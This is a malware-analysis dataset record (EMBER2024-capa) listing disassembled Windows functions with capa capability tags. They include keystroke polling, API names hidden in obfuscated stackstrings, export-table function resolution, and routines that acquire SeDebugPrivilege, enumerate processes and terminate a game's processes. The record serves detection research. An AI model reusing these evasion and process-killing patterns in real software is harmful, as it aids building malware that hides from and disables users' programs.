joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4955d0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x4ec0d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0x14]
mov dword [eax + 0x24], ecx
mov dword [eax + 0x28], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x76c], ecx
mov edx, dword [ebp - 0x28]
mov dword [edx + 0x770], 0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x2c], ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp + 0x20]
mov dword [edx + 0x774], eax
cmp dword [ebp + 8], 0
jne 0x49565e
call fcn.004951d0
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x30]
mov edx, dword [eax + 0xc]
call edx
cmp dword [ebp + 0x1c], 0
je 0x49565e
call fcn.004951d0
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x34]
mov eax, dword [edx + 0x14]
call eax
cmp dword [ebp - 0x28], 0
je 0x49566f
mov ecx, dword [ebp - 0x28]
add ecx, 0x10
mov dword [ebp - 0x38], ecx
jmp 0x495676
mov dword [ebp - 0x38], 0
call fcn.004951d0
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x3c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [edx]
call eax
mov ecx, dword [ebp - 0x28]
cmp dword [ecx + 0x76c], 0
jne 0x4956a7
mov ecx, dword [ebp + 0x18]
call fcn.00412c40
mov dword [ebp - 0x40], eax
jmp 0x4956ca
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0x76c]
mov ecx, dword [ebp - 0x28]
mov edx, dword [eax]
mov ecx, dword [ecx + 0x76c]
mov eax, dword [edx + 0x1c]
call eax
mov ecx, eax
call fcn.00412c40
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x24]
call fcn.0040da60
mov ecx, dword [eax]
mov dword [ebp - 0x14], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 0x10], edx
mov ecx, dword [eax + 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [eax + 0xc]
mov dword [ebp - 8], edx
push 0
sub esp, 0x10
mov eax, esp
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov edx, dword [ebp - 0x10]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0xc]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 8]
mov dword [eax + 0xc], edx
push 0x88
push SysReAllocString
push 0
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x28]
call fcn.0041ba80
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x495745
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.USER32.dll_GetParent]
mov dword [ebp - 0x2c], eax
jmp 0x495728
push 5
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 1
push 0x86
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a2e6d
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x49f900
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x4ec0d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], 0
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov dword [ebp - 0x210], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x214], ecx
mov edx, dword [ebp - 0x214]
sub edx, 0x21
mov dword [ebp - 0x214], edx
cmp dword [ebp - 0x214], 0xd
ja case.0x49f965.8
mov eax, dword [ebp - 0x214]
jmp dword [eax*4 + 0x49f9fc]
mov ecx, dword [ebp - 0x210]
or ecx, 0x100
mov dword [ebp - 0x210], ecx
cmp dword [ebp + 0x10], 0
je 0x49f996
mov edx, dword [ebp - 0x210]
or edx, 0x1000000
mov dword [ebp - 0x210], edx
push 0x208
push 0
lea eax, [ebp - 0x20c]
push eax
call fcn.004a4810
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
mov edx, dword [ebp - 0x210]
shl edx, 0x10
push edx
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
push 0xffffffffffffffff
lea eax, [ebp - 0x20c]
push eax
mov ecx, dword [ebp + 8]
call fcn.0040db10
mov ecx, dword [ebp - 0x218]
or ecx, 1
mov dword [ebp - 0x218], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a2e6d
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4a345b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4a349a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4a349a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4a349a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4a349a
cmp dword [ecx + 0x74], 0xe
jbe 0x4a349a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4b7634
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004b74aa

Function at 0x4be500
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4be52d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4be52d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
push esi
mov dword [ebp - 4], ebx
je 0x4010df
push str.Kernel32.dll
mov byte [ebp - 0x18], 0x4f
mov byte [ebp - 0x17], 0x70
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x14], 0x50
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x63
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x73
mov byte [ebp - 0xd], bl
mov byte [ebp - 0x2c], 0x54
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6d
mov byte [ebp - 0x28], 0x69
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x50
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x6f
mov byte [ebp - 0x20], 0x63
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x73
mov byte [ebp - 0x1d], 0x73
mov byte [ebp - 0x1c], bl
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
cmp esi, ebx
je 0x4010df
lea eax, [ebp - 0x18]
push edi
push eax
push esi
call fcn.00401781
mov edi, eax
lea eax, [ebp - 0x2c]
push eax
push esi
call fcn.00401781
push str.CloseHandle
push esi
mov dword [ebp - 8], eax
call fcn.00401781
add esp, 0x18
mov dword [ebp - 0xc], eax
push dword [ebp + 8]
push ebx
push 1
call edi
mov esi, eax
pop edi
cmp esi, ebx
je 0x4010db
push ebx
push esi
call dword [ebp - 8]
mov dword [ebp - 4], eax
push esi
call dword [ebp - 0xc]
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret
Function at 0x4010e6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
and byte [ebp - 0x24], 0
and byte [ebp - 0x12], 0
and byte [ebp - 3], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push edi
lea eax, [ebp - 0x3c]
mov edi, str.Kernel32.dll
push eax
push edi
mov byte [ebp - 0x3c], 0x43
mov byte [ebp - 0x3b], 0x72
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x39], 0x61
mov byte [ebp - 0x38], 0x74
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x36], 0x54
mov byte [ebp - 0x35], 0x6f
mov byte [ebp - 0x34], 0x6f
mov byte [ebp - 0x33], 0x6c
mov byte [ebp - 0x32], 0x68
mov byte [ebp - 0x31], 0x65
mov byte [ebp - 0x30], 0x6c
mov byte [ebp - 0x2f], 0x70
mov byte [ebp - 0x2e], 0x33
mov byte [ebp - 0x2d], 0x32
mov byte [ebp - 0x2c], 0x53
mov byte [ebp - 0x2b], 0x6e
mov byte [ebp - 0x2a], 0x61
mov byte [ebp - 0x29], 0x70
mov byte [ebp - 0x28], 0x73
mov byte [ebp - 0x27], 0x68
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x20], 0x50
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x6f
mov byte [ebp - 0x1d], 0x63
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x73
mov byte [ebp - 0x1a], 0x73
mov byte [ebp - 0x19], 0x33
mov byte [ebp - 0x18], 0x32
mov byte [ebp - 0x17], 0x46
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x10], 0x50
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0xd], 0x63
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x73
mov byte [ebp - 9], 0x33
mov byte [ebp - 8], 0x32
mov byte [ebp - 7], 0x4e
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x78
mov byte [ebp - 4], 0x74
call esi
push eax
call fcn.00401781
pop ecx
mov ebx, eax
pop ecx
lea eax, [ebp - 0x20]
push eax
push edi
dec ebx
call esi
push eax
call fcn.00401781
dec eax
pop ecx
mov dword [ebp - 0x44], eax
pop ecx
lea eax, [ebp - 0x10]
push eax
push edi
call esi
push eax
call fcn.00401781
pop ecx
dec eax
pop ecx
mov dword [ebp - 0x40], eax
push str.CloseHandle
push edi
call esi
push eax
call fcn.00401781
xor edi, edi
pop ecx
cmp ebx, edi
pop ecx
mov esi, eax
je 0x40122e
push edi
push 2
call ebx
mov ebx, eax
jmp 0x401231
mov ebx, dword [ebp + 8]
cmp ebx, 0xffffffff
jne 0x40123a
xor eax, eax
jmp 0x40128b
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x16c], 0x128
push eax
push ebx
call dword [ebp - 0x44]
test eax, eax
je 0x401286
lea eax, [ebp - 0x148]
push eax
push dword [ebp + 8]
call fcn.0040152c
pop ecx
test eax, eax
pop ecx
jne 0x401274
push dword [ebp - 0x164]
call fcn.00401000
pop ecx
lea eax, [ebp - 0x16c]
push eax
push ebx
call dword [ebp - 0x40]
test eax, eax
jne 0x401253
push 1
pop edi
push ebx
call esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401625
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
cmp dword [ebp + 8], 0
push esi
je 0x401646
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x40164d
xor eax, eax
jmp 0x4016eb
and byte [ebp - 0xe], 0
and byte [ebp - 3], 0
push ebx
lea eax, [ebp - 0x1c]
push edi
push eax
push esi
mov byte [ebp - 0x1c], 0x46
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x46
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x46
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x41
mov byte [ebp - 0xc], 0x46
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x6e
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x43
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x6f
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0x65
call fcn.00401781
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push esi
call fcn.00401781
add esp, 0x10
mov ebx, eax
lea eax, [ebp - 0x15c]
push 1
pop esi
push eax
push dword [ebp + 8]
call edi
cmp eax, 0xffffffff
jne 0x4016e4
xor esi, esi
push eax
call ebx
pop edi
mov eax, esi
pop ebx
pop esi
leave
ret

Function at 0x4016ee
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and byte [ebp - 1], 0
lea eax, [ebp - 0x14]
push eax
push str.Kernel32.dll
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x53
mov byte [ebp - 0x10], 0x79
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x6d
mov byte [ebp - 0xb], 0x44
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x63
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x6f
mov byte [ebp - 4], 0x72
mov byte [ebp - 3], 0x79
mov byte [ebp - 2], 0x41
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call fcn.00401781
pop ecx
pop ecx
push 0x104
push dword [ebp + 8]
call eax
test eax, eax
je 0x40177d
push 0x40605c
push dword [ebp + 8]
call fcn.004015fb
pop ecx
pop ecx
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x401781
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp edi, ebx
je 0x401864
mov eax, dword [edi + 0x3c]
add eax, edi
mov esi, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
add esi, edi
cmp eax, 0x10000
jae 0x4017d0
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
add edx, ecx
cmp eax, edx
jae 0x401864
cmp eax, ecx
jb 0x401864
sub eax, ecx
jmp 0x401817
mov ecx, dword [esi + 0x20]
mov dword [ebp + 8], ebx
add ecx, edi
cmp dword [esi + 0x18], ebx
jbe 0x401822
mov dword [ebp - 4], ecx
jmp 0x4017e5
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov ecx, edi
add ecx, dword [edx]
push ecx
push eax
call fcn.00401588
pop ecx
test al, al
pop ecx
je 0x40180a
inc dword [ebp + 8]
add dword [ebp - 4], 4
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0x18]
jb 0x4017e2
jmp 0x401822
mov eax, dword [esi + 0x24]
mov ecx, dword [ebp + 8]
lea eax, [eax + ecx*2]
movzx eax, word [eax + edi]
mov ecx, dword [esi + 0x1c]
lea eax, [ecx + eax*4]
mov ebx, dword [eax + edi]
add ebx, edi
mov eax, dword [ebp - 8]
add eax, esi
cmp ebx, eax
jae 0x40189a
cmp ebx, esi
jb 0x40189a
test ebx, ebx
je 0x40189a
mov al, byte [ebx]
mov esi, ebx
test al, al
je 0x401864
cmp al, 0x2e
je 0x401845
mov al, byte [esi + 1]
inc esi
jmp 0x401837
and byte [ebp - 0x10c], 0
push pe_nt_image_headers32
pop ecx
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, esi
sub edi, ebx
test edi, edi
jg 0x401868
xor eax, eax
jmp 0x40189c
push edi
lea eax, [ebp - 0x10c]
push ebx
push eax
call sub.MSVCRT.dll_memcpy
and byte [ebp + edi - 0x10c], 0
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
inc esi
push esi
push eax
call fcn.00401781
pop ecx
mov ebx, eax
pop ecx
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4022f9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x404b5b
call fcn.0040499c
sub esp, 0x4e8
push ebx
push esi
push edi
push pe_nt_image_headers32
pop edx
xor ebx, ebx
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x4f3]
mov byte [ebp - 0x4f4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x2eb]
mov byte [ebp - 0x2ec], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x1e7]
mov byte [ebp - 0x1e8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x3ef]
mov byte [ebp - 0x3f0], bl
rep stosd dword es:[edi], eax
mov esi, str.msvcp80.org
mov byte [ebp - 0x1c], 0x2e
stosw word es:[edi], ax
push esi
mov byte [ebp - 0x1b], 0x64
push dword [ebp + 0xc]
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x28], 0x43
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x70
mov byte [ebp - 0x25], 0x79
mov byte [ebp - 0x24], 0x46
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1f], bl
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x4023b7
push esi
jmp 0x4023ba
push dword [ebp + 0xc]
lea eax, [ebp - 0x3f0]
push eax
call fcn.00401504
pop ecx
lea eax, [ebp - 0x4f4]
pop ecx
push eax
call fcn.004016ee
lea eax, [ebp - 0x4f4]
push eax
lea eax, [ebp - 0x2ec]
push eax
call fcn.00401504
push dword [ebp + 8]
lea eax, [ebp - 0x2ec]
push eax
call fcn.004015fb
lea eax, [ebp - 0x2ec]
push eax
lea eax, [ebp - 0x1e8]
push eax
call fcn.00401504
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x1e8]
push eax
call fcn.004015fb
add esp, 0x24
lea eax, [ebp - 0x28]
push eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call fcn.00401781
mov edi, eax
lea eax, [ebp - 0x2ec]
push eax
call fcn.00401922
mov esi, eax
lea eax, [ebp - 0x1e8]
push eax
call fcn.00401922
add esp, 0x10
cmp esi, ebx
jne 0x402469
cmp eax, ebx
jne 0x40247a
push dword [ebp + 8]
call fcn.0040200c
test al, al
pop ecx
je 0x402509
lea eax, [ebp - 0x1e8]
push ebx
push eax
lea eax, [ebp - 0x2ec]
push eax
call edi
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0x14], 0x2e
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x78
mov byte [ebp - 0x10], 0x63
mov byte [ebp - 0xf], bl
call fcn.004038be
lea eax, [ebp - 0x1e8]
lea ecx, [ebp - 0xe4]
push eax
mov dword [ebp - 4], ebx
call fcn.00403d0b
lea eax, [ebp - 0x3f0]
lea ecx, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00403b77
test eax, eax
jne 0x4024e6
lea eax, [ebp - 0x3f0]
lea ecx, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x14]
push 0x800
push eax
call fcn.00403a0c
lea eax, [ebp - 0x1e8]
lea ecx, [ebp - 0xe4]
push eax
call fcn.00403ebf
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe4]
call fcn.004038fc
mov al, 1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x402872
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
push pe_nt_image_headers32
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x123]
mov byte [ebp - 0x124], bl
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.Kernel32.dll
mov dword [ebp - 0x1c], ebx
push edi
call esi
push str.GetModuleFileNameA
push eax
mov dword [ebp - 0x14], eax
call fcn.00401781
push str.CloseHandle
mov dword [ebp - 8], eax
push dword [ebp - 0x14]
call fcn.00401781
add esp, 0x10
mov dword [ebp - 0x14], eax
push str.CreateFileA
push edi
call esi
push eax
call fcn.00401781
pop ecx
mov dword [ebp - 0x18], eax
pop ecx
lea eax, [ebp - 0x124]
push 0x104
push eax
push ebx
call dword [ebp - 8]
push ebx
push ebx
push 3
push ebx
push 1
lea eax, [ebp - 0x124]
push 0x80000000
push eax
call dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 2
push ebx
push 0xfffffffffffffffc
push eax
mov dword [ebp - 4], eax
call esi
lea eax, [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.DLL_ReadFile]
push ebx
push eax
lea eax, [ebp - 0x20]
push 4
push eax
push dword [ebp - 4]
call edi
cmp dword [ebp - 0x20], 4
jne 0x4029f9
push 2
push ebx
push 0xfffffffffffffff8
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x1c]
push 4
push eax
push dword [ebp - 4]
call edi
push 2
push ebx
push 0xfffffffffffffff4
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0xc]
push 4
push eax
push dword [ebp - 4]
call edi
mov eax, dword [ebp - 0xc]
cmp eax, 0x148
jb 0x402a06
cmp eax, 0x1000
ja 0x402a06
push 2
push ebx
neg eax
push eax
push dword [ebp - 4]
call esi
mov eax, dword [ebp - 0xc]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
push dword [ebp - 0xc]
mov dword [ebp - 8], eax
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 0x10]
push ebx
push eax
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
call edi
push ebx
push ebx
push 3
push ebx
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [ebp - 0x18]
push 2
mov edi, eax
push ebx
push 0x20
push edi
call esi
lea eax, [ebp - 0x10]
push ebx
push eax
push dword [ebp - 0xc]
push dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [ebp - 0x14]
cmp dword [ebp - 8], ebx
je 0x4029f9
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push dword [ebp - 4]
call dword [ebp - 0x14]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x4029ff
Function at 0x402a11
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
xor al, al
push 1
mov byte [ebp - 1], al
mov byte [ebp - 0x26], al
mov byte [ebp - 0x14], al
lea eax, [ebp - 0x24]
push eax
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x4f
mov byte [ebp - 0xd], 0x4c
mov byte [ebp - 0xc], 0x61
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 0xa], 0x6e
mov byte [ebp - 9], 0x63
mov byte [ebp - 8], 0x68
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x72
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x78
mov byte [ebp - 2], 0x65
mov byte [ebp - 0x38], 0x63
mov byte [ebp - 0x37], 0x73
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x69
mov byte [ebp - 0x33], 0x6b
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x2d
mov byte [ebp - 0x30], 0x6f
mov byte [ebp - 0x2f], 0x6e
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x69
mov byte [ebp - 0x2c], 0x6e
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x2e
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x78
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x44
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x62
mov byte [ebp - 0x1f], 0x75
mov byte [ebp - 0x1e], 0x67
mov byte [ebp - 0x1d], 0x50
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x76
mov byte [ebp - 0x19], 0x69
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x67
mov byte [ebp - 0x15], 0x65
call fcn.00401290
lea eax, [ebp - 0x10]
push eax
call fcn.004010e6
lea eax, [ebp - 0x38]
push eax
call fcn.004010e6
add esp, 0x10
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
leave
ret